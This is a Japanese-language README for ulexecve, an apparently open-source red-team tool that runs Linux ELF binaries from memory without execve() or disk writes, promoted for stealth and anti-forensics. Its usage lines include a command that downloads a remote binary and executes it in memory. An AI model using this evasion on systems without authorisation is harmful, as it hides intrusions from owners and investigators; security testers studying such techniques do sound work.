
Linux上でELFバイナリをディスクに触れずにメモリから直接実行し、単一のPythonスクリプトでステルスなレッドチーミングやアンチフォレンジック操作を可能にします。
動的または静的にリンクされたELF Linuxバイナリを、execve()を呼び出すことなく実行します。
cat /bin/echo | ulexecve - hello
hello
このPythonツールはulexecveと呼ばれ、userland execveを意味します。Linuxシステム上で、*execve()*システムコールを呼び出すことなく、任意のELFバイナリをユーザーランドから実行できるようにします。つまり、ストレージに書き込むことなく、メモリから直接任意のバイナリを実行できます。これは、フォレンジック対策やレッドチーミングの観点から非常に有用であり、コンパイル済みバイナリをターゲットマシンにドロップしながらも、よりステルスに行動することを可能にします。このツールは、サポートされているLinuxプラットフォーム(x86、x86-64、aarch64)上のCPython 3.xおよびCPython 2.7(おそらくそれ以前でも)で動作します。静的および動的コンパイルされたELFバイナリの両方がサポートされています。もちろん、常に一部のバイナリは動作しないか、クラッシュする可能性があります。そのような場合のために、最新のmemfd_create()システムコールをベースにした100%信頼性の高いフォールバックメソッドが実装されています。
Linuxユーザーランドexecveツールの歴史は約20年に遡ります。最初のしっかりした解説は、the grugqによるThe Design and Implementation of Userland Exec [1]や、Phrack 62 [2]の別の記事で行われました。メモリから直接バイナリを実行するフォレンジック対策手法は、標準的なものです。例えば、Rapid7のmettleにはlibreflectというライブラリがあり、その中にnoexecというユーティリティが含まれており、リフレクションのみでELFを実行しようと試みます。しかし、このツールはCで書かれており、ターゲットシステムにnoexecバイナリを転送し、さらにこのバイナリを実行できる必要があるという暗黙の要件があります。
現代のコンテナ環境では、これは必ずしも可能ではありません。しかし、多くのコンテナ環境にはPythonのインストールが含まれています。ターゲットマシンにcurlなどを介してPythonスクリプトをダウンロードし、そのスクリプトを実行して、任意のバイナリをステルスに実行できるという機能は、フォレンジック対策の観点から非常に有用です。
これが、ツールがすべて1つのファイルで実装されている理由でもあります。これにより、ターゲットシステムにダウンロードしやすくなり、実行前に他の依存関係をインストールする必要がなくなります。このツールは、Python 2.7でもテストされていますが、このバージョンは非推奨です。まだ2.xバージョンを使用しているシステムが多く存在するため、これは有用です。
Pythonのユーザーランド*execve()*の優れた実装はこれまで存在しませんでした。SELF [3]はありましたが、十分に文書化されておらず、簡単なデバッグオプションもなく、さらに重要なことに全く動作しませんでした。ulexecveの実装はゼロから書かれました。ELFファイルを解析し、動的リンカーも必要に応じてロード・解析し、すべてのセグメントをメモリにマッピングし、最終的にCPU命令を含むジャンプバッファを構築して、Pythonプロセスから新しくロードされたバイナリに直接制御を移します。
すべての一般的なELF解析ロジック、スタックのセットアップ、ELFセグメントのマッピング、ジャンプバッファのセットアップは抽象化されているため、別のCPUに移植するのは比較的簡単です(数時間程度)。BSDなどの他のELFベースのプラットフォームに移植するのはもう少し手間がかかるかもしれませんが、それでもかなり簡単なはずです。移植方法の詳細については、コード内のコメントを参照してください。
外部依存関係を持たず、すべてを単一のソースコードファイルで実装することが、明確な設計目標であることに注意してください。より小さなペイロードが必要な場合は、特定のCPUタイプのサポートを削除したり、すべてのデバッグ情報やその他のオプションを取り除くのは非常に簡単です。
フォレンジック対策の観点からはあまり意味がありませんが、このツールはpipでインストール可能です。
pip install ulexecve
ulexecve --help
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help
このツールは、静的および動的コンパイルされた実行ファイルを完全にサポートします。バイナリのファイル名と、バイナリに渡したい任意の引数をulexecveに渡すだけです。環境は、ulexecveを実行した環境から直接コピーされます。
ulexecve /bin/ls -lha
ファイル名として-を指定すると、stdinからバイナリを読み込むことができます。
cat /bin/ls | ulexecve - -lha
バイナリをメモリにダウンロードしてすぐに実行するには、--downloadを使用します。これにより、ファイル名引数がURIとして解釈されます。
ulexecve --download http://host/binary
デバッグにはいくつかのオプションがあります。クラッシュが発生した場合、--debugでデバッグ情報を表示したり、--show-stackで構築されたスタックを表示したり、--show-jumpbufで生成されたジャンプバッファを表示したりできます。--jump-delayオプションは、ELFを適切に解析・マッピングした後、デバッガをアタッチしてジャンプバッファと最終的に実行されるバイナリをステップ実行し、クラッシュの原因を特定するのに非常に便利です。
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
argv
00000000: 0x0000000000000002
00000008: 0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245: 00 00 00
248: 4c 01 d9 add %r11,%rcx
24b: 48 31 d2 xor %rdx,%rdx
24e: ff e1 jmpq *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello
--fallbackオプションも常に利用可能です。これは、ユーザーランドで自分たちでバイナリを解析・マッピングするほどステルスではありません。フォールバックメソッドはmemfd_create()とfexecve()を使用しますが、任意の静的または動的バイナリを実行する場合、100%の確率で動作するはずです。もちろん、提供されたバイナリが、実行中のプラットフォームに適した正しいバイナリであることが前提です。
もちろん、適切に実行されないバイナリに遭遇することは常にあります。しかし、この実装は非常にクリーンで十分にテストされています(静的および動的バイナリ、PIEコンパイルされた実行ファイル、RustやGoなどの異なるランタイムを持つ実行ファイルに対する単体テストが含まれています)。言及されたプラットフォーム上のほとんどのツールやバイナリではうまく動作するはずです。ただし、結果は異なる場合があります。インストールパッカーによって生成され、ELF内に他の情報を埋め込むバイナリは、使用する自己参照のトリックによっては適切に動作しない可能性があります。ただし、PyInstallerバイナリに対しては、ulexecveに特定のフォールバックが追加されました。
PyInstallerで作成されたバイナリは、直接動作しません。これらのバイナリは、付属のパッケージファイルを必要とするか、ほとんどの場合、埋め込まれたPythonインタプリタを起動した後、適切にアンパックして実行するために必要な追加データをELF内に埋め込みます。そのため、それらを正しく動作させることはできません。これを回避する方法はいくつかあります。現実の一部のケースで機能する簡単な方法は、書き込み可能な一時ファイルシステムが存在することを前提としています。次に、バイナリ内の文字列/proc/self/exeを/tmp/xxxxに置き換えます。その後、memfd_create()を介してバイナリをメモリにロードし、/tmp/xxxxへのシンボリックリンクを/proc/<pid>/fd/<fd>経由でメモリ内のファイルにポイントします。このオプションを試すには、--pyi-fallbackを使用します。他の一時ディレクトリを指定する必要がある場合は、--tmpdirを使用します。tmpdirを含む結果のパスは、文字列/proc/self/exe(14バイト)と正確に同じバイト数でなければならないことに注意してください。そのため、より長いパスは機能しません。
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h | ./ulexecve.py --pyi-fallback -
hello
別のプラットフォームに移植する場合は、少数の単体テストがすべてパスすることを確認してください。ターゲットプラットフォームで同梱の./test.pyを実行し、すべてのテストが成功するまで修正を行ってください。
githubでプルリクエストを送信するか、イシュートラッカーに問題を投稿するか、単に[email protected]にメールを送信してください。
「Userland Execの設計と実装」、grugq著。
「FIST! FIST! FIST! すべては手首にある: リモート実行」、grugq著、Phrack 62-0x08、2004-07-13。
PythonによるSELFの実装、Maciej Kotowicz (mak)著。